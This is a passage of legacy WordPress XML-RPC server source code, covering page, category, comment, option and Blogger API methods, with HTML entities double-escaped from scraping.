  $page_id = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'wp.deletePage');

  // Get the current page based on the page_id and
  // make sure it is a page and not a post.
  $actual_page = wp_get_single_post($page_id, ARRAY_A);
  if(
   !$actual_page
   || ($actual_page["post_type"] != "page")
  ) {
   return(new IXR_Error(404, __("Sorry, no such page.")));
  }

  // Make sure the user can delete pages.
  if(!current_user_can("delete_page", $page_id)) {
   return(new IXR_Error(401, __("Sorry, you do not have the right to delete this page.")));
  }

  // Attempt to delete the page.
  $result = wp_delete_post($page_id);
  if(!$result) {
   return(new IXR_Error(500, __("Failed to delete the page.")));
  }

  return(true);
 }

 /**
  * Edit page.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return unknown
  */
 function wp_editPage($args) {
  // Items not escaped here will be escaped in editPost.
  $blog_id = (int) $args[0];
  $page_id = (int) $this-&amp;#62;escape($args[1]);
  $username = $this-&amp;#62;escape($args[2]);
  $password = $this-&amp;#62;escape($args[3]);
  $content = $args[4];
  $publish = $args[5];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'wp.editPage');

  // Get the page data and make sure it is a page.
  $actual_page = wp_get_single_post($page_id, ARRAY_A);
  if(
   !$actual_page
   || ($actual_page["post_type"] != "page")
  ) {
   return(new IXR_Error(404, __("Sorry, no such page.")));
  }

  // Make sure the user is allowed to edit pages.
  if(!current_user_can("edit_page", $page_id)) {
   return(new IXR_Error(401, __("Sorry, you do not have the right to edit this page.")));
  }

  // Mark this as content for a page.
  $content["post_type"] = "page";

  // Arrange args in the way mw_editPost understands.
  $args = array(
   $page_id,
   $username,
   $password,
   $content,
   $publish
  );

  // Let mw_editPost do all of the heavy lifting.
  return($this-&amp;#62;mw_editPost($args));
 }

 /**
  * Retrieve page list.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return unknown
  */
 function wp_getPageList($args) {
  global $wpdb;

  $this-&amp;#62;escape($args);

  $blog_id    = (int) $args[0];
  $username    = $args[1];
  $password    = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_pages' ) )
   return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) );

  do_action('xmlrpc_call', 'wp.getPageList');

  // Get list of pages ids and titles
  $page_list = $wpdb-&amp;#62;get_results("
   SELECT ID page_id,
    post_title page_title,
    post_parent page_parent_id,
    post_date_gmt,
    post_date,
    post_status
   FROM {$wpdb-&amp;#62;posts}
   WHERE post_type = 'page'
   ORDER BY ID
  ");

  // The date needs to be formated properly.
  $num_pages = count($page_list);
  for($i = 0; $i &amp;#60; $num_pages; $i++) {
   $post_date = mysql2date("Ymd\TH:i:s", $page_list[$i]-&amp;#62;post_date, false);
   $post_date_gmt = mysql2date("Ymd\TH:i:s", $page_list[$i]-&amp;#62;post_date_gmt, false);

   $page_list[$i]-&amp;#62;dateCreated = new IXR_Date($post_date);
   $page_list[$i]-&amp;#62;date_created_gmt = new IXR_Date($post_date_gmt);

   // For drafts use the GMT version of the date
   if ( $page_list[$i]-&amp;#62;post_status == 'draft' ) {
    $page_list[$i]-&amp;#62;date_created_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $page_list[$i]-&amp;#62;post_date ), 'Ymd\TH:i:s' );
    $page_list[$i]-&amp;#62;date_created_gmt = new IXR_Date( $page_list[$i]-&amp;#62;date_created_gmt );
   }

   unset($page_list[$i]-&amp;#62;post_date_gmt);
   unset($page_list[$i]-&amp;#62;post_date);
   unset($page_list[$i]-&amp;#62;post_status);
  }

  return($page_list);
 }

 /**
  * Retrieve authors list.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getAuthors($args) {

  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if(!current_user_can("edit_posts")) {
   return(new IXR_Error(401, __("Sorry, you cannot edit posts on this blog.")));
  }

  do_action('xmlrpc_call', 'wp.getAuthors');

  $authors = array();
  foreach( (array) get_users_of_blog() as $row ) {
   $authors[] = array(
    "user_id"       =&amp;#62; $row-&amp;#62;user_id,
    "user_login"    =&amp;#62; $row-&amp;#62;user_login,
    "display_name"  =&amp;#62; $row-&amp;#62;display_name
   );
  }

  return($authors);
 }

 /**
  * Get list of all tags
  *
  * @since 2.7
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getTags( $args ) {
  $this-&amp;#62;escape( $args );

  $blog_id  = (int) $args[0];
  $username  = $args[1];
  $password  = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) ) {
   return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view tags.' ) );
  }

  do_action( 'xmlrpc_call', 'wp.getKeywords' );

  $tags = array( );

  if( $all_tags = get_tags( ) ) {
   foreach( (array) $all_tags as $tag ) {
    $struct['tag_id']   = $tag-&amp;#62;term_id;
    $struct['name']    = $tag-&amp;#62;name;
    $struct['count']   = $tag-&amp;#62;count;
    $struct['slug']    = $tag-&amp;#62;slug;
    $struct['html_url']   = esc_html( get_tag_link( $tag-&amp;#62;term_id ) );
    $struct['rss_url']   = esc_html( get_tag_feed_link( $tag-&amp;#62;term_id ) );

    $tags[] = $struct;
   }
  }

  return $tags;
 }

 /**
  * Create new category.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return int Category ID.
  */
 function wp_newCategory($args) {
  $this-&amp;#62;escape($args);

  $blog_id    = (int) $args[0];
  $username    = $args[1];
  $password    = $args[2];
  $category    = $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'wp.newCategory');

  // Make sure the user is allowed to add a category.
  if(!current_user_can("manage_categories")) {
   return(new IXR_Error(401, __("Sorry, you do not have the right to add a category.")));
  }

  // If no slug was provided make it empty so that
  // WordPress will generate one.
  if(empty($category["slug"])) {
   $category["slug"] = "";
  }

  // If no parent_id was provided make it empty
  // so that it will be a top level page (no parent).
  if ( !isset($category["parent_id"]) )
   $category["parent_id"] = "";

  // If no description was provided make it empty.
  if(empty($category["description"])) {
   $category["description"] = "";
  }

  $new_category = array(
   "cat_name"    =&amp;#62; $category["name"],
   "category_nicename"  =&amp;#62; $category["slug"],
   "category_parent"  =&amp;#62; $category["parent_id"],
   "category_description" =&amp;#62; $category["description"]
  );

  $cat_id = wp_insert_category($new_category);
  if(!$cat_id) {
   return(new IXR_Error(500, __("Sorry, the new category failed.")));
  }

  return($cat_id);
 }

 /**
  * Remove category.
  *
  * @since 2.5.0
  *
  * @param array $args Method parameters.
  * @return mixed See {@link wp_delete_category()} for return info.
  */
 function wp_deleteCategory($args) {
  $this-&amp;#62;escape($args);

  $blog_id  = (int) $args[0];
  $username  = $args[1];
  $password  = $args[2];
  $category_id = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'wp.deleteCategory');

  if( !current_user_can("manage_categories") ) {
   return new IXR_Error( 401, __( "Sorry, you do not have the right to delete a category." ) );
  }

  return wp_delete_category( $category_id );
 }

 /**
  * Retrieve category list.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_suggestCategories($args) {
  $this-&amp;#62;escape($args);

  $blog_id    = (int) $args[0];
  $username    = $args[1];
  $password    = $args[2];
  $category    = $args[3];
  $max_results   = (int) $args[4];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) )
   return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts to this blog in order to view categories.' ) );

  do_action('xmlrpc_call', 'wp.suggestCategories');

  $category_suggestions = array();
  $args = array('get' =&amp;#62; 'all', 'number' =&amp;#62; $max_results, 'name__like' =&amp;#62; $category);
  foreach ( (array) get_categories($args) as $cat ) {
   $category_suggestions[] = array(
    "category_id" =&amp;#62; $cat-&amp;#62;cat_ID,
    "category_name" =&amp;#62; $cat-&amp;#62;cat_name
   );
  }

  return($category_suggestions);
 }

 /**
  * Retrieve comment.
  *
  * @since 2.7.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getComment($args) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $comment_id = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if ( !current_user_can( 'moderate_comments' ) )
   return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) );

  do_action('xmlrpc_call', 'wp.getComment');

  if ( ! $comment = get_comment($comment_id) )
   return new IXR_Error( 404, __( 'Invalid comment ID.' ) );

  // Format page date.
  $comment_date = mysql2date("Ymd\TH:i:s", $comment-&amp;#62;comment_date, false);
  $comment_date_gmt = mysql2date("Ymd\TH:i:s", $comment-&amp;#62;comment_date_gmt, false);

  if ( 0 == $comment-&amp;#62;comment_approved )
   $comment_status = 'hold';
  else if ( 'spam' == $comment-&amp;#62;comment_approved )
   $comment_status = 'spam';
  else if ( 1 == $comment-&amp;#62;comment_approved )
   $comment_status = 'approve';
  else
   $comment_status = $comment-&amp;#62;comment_approved;

  $link = get_comment_link($comment);

  $comment_struct = array(
   "date_created_gmt"  =&amp;#62; new IXR_Date($comment_date_gmt),
   "user_id"    =&amp;#62; $comment-&amp;#62;user_id,
   "comment_id"   =&amp;#62; $comment-&amp;#62;comment_ID,
   "parent"    =&amp;#62; $comment-&amp;#62;comment_parent,
   "status"    =&amp;#62; $comment_status,
   "content"    =&amp;#62; $comment-&amp;#62;comment_content,
   "link"     =&amp;#62; $link,
   "post_id"    =&amp;#62; $comment-&amp;#62;comment_post_ID,
   "post_title"   =&amp;#62; get_the_title($comment-&amp;#62;comment_post_ID),
   "author"    =&amp;#62; $comment-&amp;#62;comment_author,
   "author_url"   =&amp;#62; $comment-&amp;#62;comment_author_url,
   "author_email"   =&amp;#62; $comment-&amp;#62;comment_author_email,
   "author_ip"    =&amp;#62; $comment-&amp;#62;comment_author_IP,
   "type"     =&amp;#62; $comment-&amp;#62;comment_type,
  );

  return $comment_struct;
 }

 /**
  * Retrieve comments.
  *
  * @since 2.7.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getComments($args) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $struct  = $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if ( !current_user_can( 'moderate_comments' ) )
   return new IXR_Error( 401, __( 'Sorry, you cannot edit comments.' ) );

  do_action('xmlrpc_call', 'wp.getComments');

  if ( isset($struct['status']) )
   $status = $struct['status'];
  else
   $status = '';

  $post_id = '';
  if ( isset($struct['post_id']) )
   $post_id = absint($struct['post_id']);

  $offset = 0;
  if ( isset($struct['offset']) )
   $offset = absint($struct['offset']);

  $number = 10;
  if ( isset($struct['number']) )
   $number = absint($struct['number']);

  $comments = get_comments( array('status' =&amp;#62; $status, 'post_id' =&amp;#62; $post_id, 'offset' =&amp;#62; $offset, 'number' =&amp;#62; $number ) );
  $num_comments = count($comments);

  if ( ! $num_comments )
   return array();

  $comments_struct = array();

  for ( $i = 0; $i &amp;#60; $num_comments; $i++ ) {
   $comment = wp_xmlrpc_server::wp_getComment(array(
    $blog_id, $username, $password, $comments[$i]-&amp;#62;comment_ID,
   ));
   $comments_struct[] = $comment;
  }

  return $comments_struct;
 }

 /**
  * Remove comment.
  *
  * @since 2.7.0
  *
  * @param array $args Method parameters.
  * @return mixed {@link wp_delete_comment()}
  */
 function wp_deleteComment($args) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $comment_ID = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if ( !current_user_can( 'moderate_comments' ) )
   return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) );

  do_action('xmlrpc_call', 'wp.deleteComment');

  if ( ! get_comment($comment_ID) )
   return new IXR_Error( 404, __( 'Invalid comment ID.' ) );

  return wp_delete_comment($comment_ID);
 }

 /**
  * Edit comment.
  *
  * @since 2.7.0
  *
  * @param array $args Method parameters.
  * @return bool True, on success.
  */
 function wp_editComment($args) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $comment_ID = (int) $args[3];
  $content_struct = $args[4];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if ( !current_user_can( 'moderate_comments' ) )
   return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this blog.' ) );

  do_action('xmlrpc_call', 'wp.editComment');

  if ( ! get_comment($comment_ID) )
   return new IXR_Error( 404, __( 'Invalid comment ID.' ) );

  if ( isset($content_struct['status']) ) {
   $statuses = get_comment_statuses();
   $statuses = array_keys($statuses);

   if ( ! in_array($content_struct['status'], $statuses) )
    return new IXR_Error( 401, __( 'Invalid comment status.' ) );
   $comment_approved = $content_struct['status'];
  }

  // Do some timestamp voodoo
  if ( !empty( $content_struct['date_created_gmt'] ) ) {
   $dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']-&amp;#62;getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force
   $comment_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
   $comment_date_gmt = iso8601_to_datetime($dateCreated, GMT);
  }

  if ( isset($content_struct['content']) )
   $comment_content = $content_struct['content'];

  if ( isset($content_struct['author']) )
   $comment_author = $content_struct['author'];

  if ( isset($content_struct['author_url']) )
   $comment_author_url = $content_struct['author_url'];

  if ( isset($content_struct['author_email']) )
   $comment_author_email = $content_struct['author_email'];

  // We've got all the data -- post it:
  $comment = compact('comment_ID', 'comment_content', 'comment_approved', 'comment_date', 'comment_date_gmt', 'comment_author', 'comment_author_email', 'comment_author_url');

  $result = wp_update_comment($comment);
  if ( is_wp_error( $result ) )
   return new IXR_Error(500, $result-&amp;#62;get_error_message());

  if ( !$result )
   return new IXR_Error(500, __('Sorry, the comment could not be edited. Something wrong happened.'));

  return true;
 }

 /**
  * Create new comment.
  *
  * @since 2.7.0
  *
  * @param array $args Method parameters.
  * @return mixed {@link wp_new_comment()}
  */
 function wp_newComment($args) {
  global $wpdb;

  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $post  = $args[3];
  $content_struct = $args[4];

  $allow_anon = apply_filters('xmlrpc_allow_anonymous_comments', false);

  $user = $this-&amp;#62;login($username, $password);

  if ( !$user ) {
   $logged_in = false;
   if ( $allow_anon &amp;&amp; get_option('comment_registration') )
    return new IXR_Error( 403, __( 'You must be registered to comment' ) );
   else if ( !$allow_anon )
    return $this-&amp;#62;error;
  } else {
   $logged_in = true;
  }

  if ( is_numeric($post) )
   $post_id = absint($post);
  else
   $post_id = url_to_postid($post);

  if ( ! $post_id )
   return new IXR_Error( 404, __( 'Invalid post ID.' ) );

  if ( ! get_post($post_id) )
   return new IXR_Error( 404, __( 'Invalid post ID.' ) );

  $comment['comment_post_ID'] = $post_id;

  if ( $logged_in ) {
   $comment['comment_author'] = $wpdb-&amp;#62;escape( $user-&amp;#62;display_name );
   $comment['comment_author_email'] = $wpdb-&amp;#62;escape( $user-&amp;#62;user_email );
   $comment['comment_author_url'] = $wpdb-&amp;#62;escape( $user-&amp;#62;user_url );
   $comment['user_ID'] = $user-&amp;#62;ID;
  } else {
   $comment['comment_author'] = '';
   if ( isset($content_struct['author']) )
    $comment['comment_author'] = $content_struct['author'];

   $comment['comment_author_email'] = '';
   if ( isset($content_struct['author_email']) )
    $comment['comment_author_email'] = $content_struct['author_email'];

   $comment['comment_author_url'] = '';
   if ( isset($content_struct['author_url']) )
    $comment['comment_author_url'] = $content_struct['author_url'];

   $comment['user_ID'] = 0;

   if ( get_option('require_name_email') ) {
    if ( 6 &amp;#62; strlen($comment['comment_author_email']) || '' == $comment['comment_author'] )
     return new IXR_Error( 403, __( 'Comment author name and email are required' ) );
    elseif ( !is_email($comment['comment_author_email']) )
     return new IXR_Error( 403, __( 'A valid email address is required' ) );
   }
  }

  $comment['comment_parent'] = isset($content_struct['comment_parent']) ? absint($content_struct['comment_parent']) : 0;

  $comment['comment_content'] = $content_struct['content'];

  do_action('xmlrpc_call', 'wp.newComment');

  return wp_new_comment($comment);
 }

 /**
  * Retrieve all of the comment status.
  *
  * @since 2.7.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getCommentStatusList($args) {
  $this-&amp;#62;escape( $args );

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if ( !current_user_can( 'moderate_comments' ) )
   return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );

  do_action('xmlrpc_call', 'wp.getCommentStatusList');

  return get_comment_statuses( );
 }

 /**
  * Retrieve comment count.
  *
  * @since 2.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getCommentCount( $args ) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $post_id = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) ) {
   return new IXR_Error( 403, __( 'You are not allowed access to details about comments.' ) );
  }

  do_action('xmlrpc_call', 'wp.getCommentCount');

  $count = wp_count_comments( $post_id );
  return array(
   "approved" =&amp;#62; $count-&amp;#62;approved,
   "awaiting_moderation" =&amp;#62; $count-&amp;#62;moderated,
   "spam" =&amp;#62; $count-&amp;#62;spam,
   "total_comments" =&amp;#62; $count-&amp;#62;total_comments
  );
 }

 /**
  * Retrieve post statuses.
  *
  * @since 2.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getPostStatusList( $args ) {
  $this-&amp;#62;escape( $args );

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) ) {
   return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );
  }

  do_action('xmlrpc_call', 'wp.getPostStatusList');

  return get_post_statuses( );
 }

 /**
  * Retrieve page statuses.
  *
  * @since 2.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getPageStatusList( $args ) {
  $this-&amp;#62;escape( $args );

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) ) {
   return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );
  }

  do_action('xmlrpc_call', 'wp.getPageStatusList');

  return get_page_statuses( );
 }

 /**
  * Retrieve page templates.
  *
  * @since 2.6.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getPageTemplates( $args ) {
  $this-&amp;#62;escape( $args );

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_pages' ) ) {
   return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );
  }

  $templates = get_page_templates( );
  $templates['Default'] = 'default';

  return $templates;
 }

 /**
  * Retrieve blog options.
  *
  * @since 2.6.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getOptions( $args ) {
  $this-&amp;#62;escape( $args );

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $options = (array) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  // If no specific options where asked for, return all of them
  if (count( $options ) == 0 ) {
   $options = array_keys($this-&amp;#62;blog_options);
  }

  return $this-&amp;#62;_getOptions($options);
 }

 /**
  * Retrieve blog options value from list.
  *
  * @since 2.6.0
  *
  * @param array $options Options to retrieve.
  * @return array
  */
 function _getOptions($options)
 {
  $data = array( );
  foreach( $options as $option ) {
   if( array_key_exists( $option, $this-&amp;#62;blog_options ) )
   {
    $data[$option] = $this-&amp;#62;blog_options[$option];
    //Is the value static or dynamic?
    if( isset( $data[$option]['option'] ) ) {
     $data[$option]['value'] = get_option( $data[$option]['option'] );
     unset($data[$option]['option']);
    }
   }
  }

  return $data;
 }

 /**
  * Update blog options.
  *
  * @since 2.6.0
  *
  * @param array $args Method parameters.
  * @return unknown
  */
 function wp_setOptions( $args ) {
  $this-&amp;#62;escape( $args );

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $options = (array) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'manage_options' ) )
   return new IXR_Error( 403, __( 'You are not allowed to update options.' ) );

  foreach( $options as $o_name =&amp;#62; $o_value ) {
   $option_names[] = $o_name;
   if( empty( $o_value ) )
    continue;

   if( !array_key_exists( $o_name, $this-&amp;#62;blog_options ) )
    continue;

   if( $this-&amp;#62;blog_options[$o_name]['readonly'] == true )
    continue;

   update_option( $this-&amp;#62;blog_options[$o_name]['option'], $o_value );
  }

  //Now return the updated values
  return $this-&amp;#62;_getOptions($option_names);
 }

 /* Blogger API functions.
  * specs on http://plant.blogger.com/api and http://groups.yahoo.com/group/bloggerDev/
  */

 /**
  * Retrieve blogs that user owns.
  *
  * Will make more sense once we support multiple blogs.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function blogger_getUsersBlogs($args) {

  $this-&amp;#62;escape($args);

  $username = $args[1];
  $password  = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'blogger.getUsersBlogs');

  $is_admin = current_user_can('manage_options');

  $struct = array(
   'isAdmin'  =&amp;#62; $is_admin,
   'url'      =&amp;#62; get_option('home') . '/',
   'blogid'   =&amp;#62; '1',
   'blogName' =&amp;#62; get_option('blogname'),
   'xmlrpc'   =&amp;#62; site_url( 'xmlrpc.php' )
  );

  return array($struct);
 }

 /**
  * Retrieve user's data.
  *
  * Gives your client some info about you, so you don't have to.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function blogger_getUserInfo($args) {

  $this-&amp;#62;escape($args);

  $username = $args[1];
  $password  = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) )
   return new IXR_Error( 401, __( 'Sorry, you do not have access to user data on this blog.' ) );

  do_action('xmlrpc_call', 'blogger.getUserInfo');

  $struct = array(
   'nickname'  =&amp;#62; $user-&amp;#62;nickname,
   'userid'    =&amp;#62; $user-&amp;#62;ID,
   'url'       =&amp;#62; $user-&amp;#62;user_url,
   'lastname'  =&amp;#62; $user-&amp;#62;last_name,
   'firstname' =&amp;#62; $user-&amp;#62;first_name
  );

  return $struct;
 }

 /**
  * Retrieve post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function blogger_getPost($args) {

  $this-&amp;#62;escape($args);

  $post_ID    = (int) $args[1];
  $username = $args[2];
  $password  = $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_post', $post_ID ) )
   return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );

  do_action('xmlrpc_call', 'blogger.getPost');

  $post_data = wp_get_single_post($post_ID, ARRAY_A);

  $categories = implode(',', wp_get_post_categories($post_ID));

  $content  = '&amp;#60;title&amp;#62;'.stripslashes($post_data['post_title']).'&amp;#60;/title&amp;#62;';
  $content .= '&amp;#60;category&amp;#62;'.$categories.'&amp;#60;/category&amp;#62;';
  $content .= stripslashes($post_data['post_content']);

  $struct = array(
   'userid'    =&amp;#62; $post_data['post_author'],
   'dateCreated' =&amp;#62; new IXR_Date(mysql2date('Ymd\TH:i:s', $post_data['post_date'], false)),
   'content'     =&amp;#62; $content,
   'postid'  =&amp;#62; $post_data['ID']
  );

  return $struct;
 }

 /**
  * Retrieve list of recent posts.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function blogger_getRecentPosts($args) {

  $this-&amp;#62;escape($args);

  $blog_ID    = (int) $args[1]; /* though we don't use it yet */
  $username = $args[2];
  $password  = $args[3];
  $num_posts  = $args[4];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'blogger.getRecentPosts');

  $posts_list = wp_get_recent_posts($num_posts);

  if (!$posts_list) {
   $this-&amp;#62;error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
   return $this-&amp;#62;error;
  }

  foreach ($posts_list as $entry) {
   if( !current_user_can( 'edit_post', $entry['ID'] ) )
    continue;

   $post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false);
   $categories = implode(',', wp_get_post_categories($entry['ID']));

   $content  = '&amp;#60;title&amp;#62;'.stripslashes($entry['post_title']).'&amp;#60;/title&amp;#62;';
   $content .= '&amp;#60;category&amp;#62;'.$categories.'&amp;#60;/category&amp;#62;';
   $content .= stripslashes($entry['post_content']);

   $struct[] = array(
    'userid' =&amp;#62; $entry['post_author'],
    'dateCreated' =&amp;#62; new IXR_Date($post_date),
    'content' =&amp;#62; $content,
    'postid' =&amp;#62; $entry['ID'],
   );

  }

  $recent_posts = array();
  for ($j=0; $j&amp;#60;count($struct); $j++) {
   array_push($recent_posts, $struct[$j]);
  }

  return $recent_posts;
 }

 /**
  * Retrieve blog_filename content.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return string
  */
 function blogger_getTemplate($args) {

  $this-&amp;#62;escape($args);

  $blog_ID    = (int) $args[1];
  $username = $args[2];
  $password  = $args[3];
  $template   = $args[4]; /* could be 'main' or 'archiveIndex', but we don't use it */

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'blogger.getTemplate');

  if ( !current_user_can('edit_themes') ) {
   return new IXR_Error(401, __('Sorry, this user can not edit the template.'));
  }

  /* warning: here we make the assumption that the blog's URL is on the same server */
  $filename = get_option('home') . '/';
  $filename = preg_replace('#https?://.+?/#', $_SERVER['DOCUMENT_ROOT'].'/', $filename);

  $f = fopen($filename, 'r');
  $content = fread($f, filesize($filename));
  fclose($f);

  /* so it is actually editable with a windows/mac client */
  // FIXME: (or delete me) do we really want to cater to bad clients at the expense of good ones by BEEPing up their line breaks? commented.     $content = str_replace("\n", "\r\n", $content);

  return $content;
 }

 /**
  * Updates the content of blog_filename.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return bool True when done.
  */
 function blogger_setTemplate($args) {

  $this-&amp;#62;escape($args);

  $blog_ID    = (int) $args[1];
  $username = $args[2];
  $password  = $args[3];
  $content    = $args[4];
  $template   = $args[5]; /* could be 'main' or 'archiveIndex', but we don't use it */

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'blogger.setTemplate');

  if ( !current_user_can('edit_themes') ) {
   return new IXR_Error(401, __('Sorry, this user cannot edit the template.'));
  }

  /* warning: here we make the assumption that the blog's URL is on the same server */
  $filename = get_option('home') . '/';
  $filename = preg_replace('#https?://.+?/#', $_SERVER['DOCUMENT_ROOT'].'/', $filename);

  if ($f = fopen($filename, 'w+')) {
   fwrite($f, $content);
   fclose($f);
  } else {
   return new IXR_Error(500, __('Either the file is not writable, or something wrong happened. The file has not been updated.'));
  }

  return true;
 }

 /**
  * Create new post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return int
  */
 function blogger_newPost($args) {

  $this-&amp;#62;escape($args);

  $blog_ID    = (int) $args[1]; /* though we don't use it yet */
  $username = $args[2];
  $password  = $args[3];
  $content    = $args[4];
  $publish    = $args[5];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'blogger.newPost');

  $cap = ($publish) ? 'publish_posts' : 'edit_posts';
  if ( !current_user_can($cap) )
   return new IXR_Error(401, __('Sorry, you are not allowed to post on this blog.'));

  $post_status = ($publish) ? 'publish' : 'draft';

  $post_author = $user-&amp;#62;ID;

  $post_title = xmlrpc_getposttitle($content);
  $post_category = xmlrpc_getpostcategory($content);
  $post_content = xmlrpc_removepostdata($content);

  $post_date = current_time('mysql');
  $post_date_gmt = current_time('mysql', 1);

  $post_data = compact('blog_ID', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status');

  $post_ID = wp_insert_post($post_data);
  if ( is_wp_error( $post_ID ) )
   return new IXR_Error(500, $post_ID-&amp;#62;get_error_message());

  if (!$post_ID)
   return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.'));

  $this-&amp;#62;attach_uploads( $post_ID, $post_content );

  logIO('O', "Posted ! ID: $post_ID");

  return $post_ID;
 }

 /**
